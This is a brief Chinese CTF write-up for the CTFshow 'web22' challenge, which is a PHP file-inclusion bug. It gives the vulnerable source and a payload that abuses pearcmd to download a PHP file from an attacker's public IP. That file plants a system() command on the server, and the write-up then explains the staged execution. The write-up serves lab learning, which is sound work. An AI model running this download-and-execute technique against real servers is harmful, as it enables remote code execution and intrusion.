CTFshow 萌新web22

Egcrying / 2023-08-29 / 原文

  • 源代码
<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }
}else{
        highlight_file(__FILE__);
}
?> 
  • 解法
    借助代码执行和字符串输出的区别进行延迟触发。
    payload:
    http://url.challenge.ctf.show/?c=pearcmd&+download+http://公网IP/1.php
    1.php:
    <?php echo"<?php system('tac 36d.php');?>"; ?>
    上传成功后显示:
downloading 1.php ... Starting to download 1.php (Unknown size) ....done: 30 bytes Could not get contents of package "/var/www/html/1.php". 
Invalid tgz file. Download of "http://公网IP/1.php" succeeded, but it is not a valid package archive Invalid or missing remote package file download failed 

最后访问1.php:
http://url.challenge.ctf.show/1.php
就会显示出flag了。

  • 原理:
  1. 构造两层嵌套,使用pearcmd 在下载并执行eval.php文件时,只是输出了一个字符串:
    2.这个字符串被写入到了eval.php文件中,但没有执行。
    3.当直接访问这个生成的eval.php文件时,外层的PHP代码会把里层的字符串当成PHP代码解析并执行。
    4.此时里层的system('tac 36d.php')就会被执行。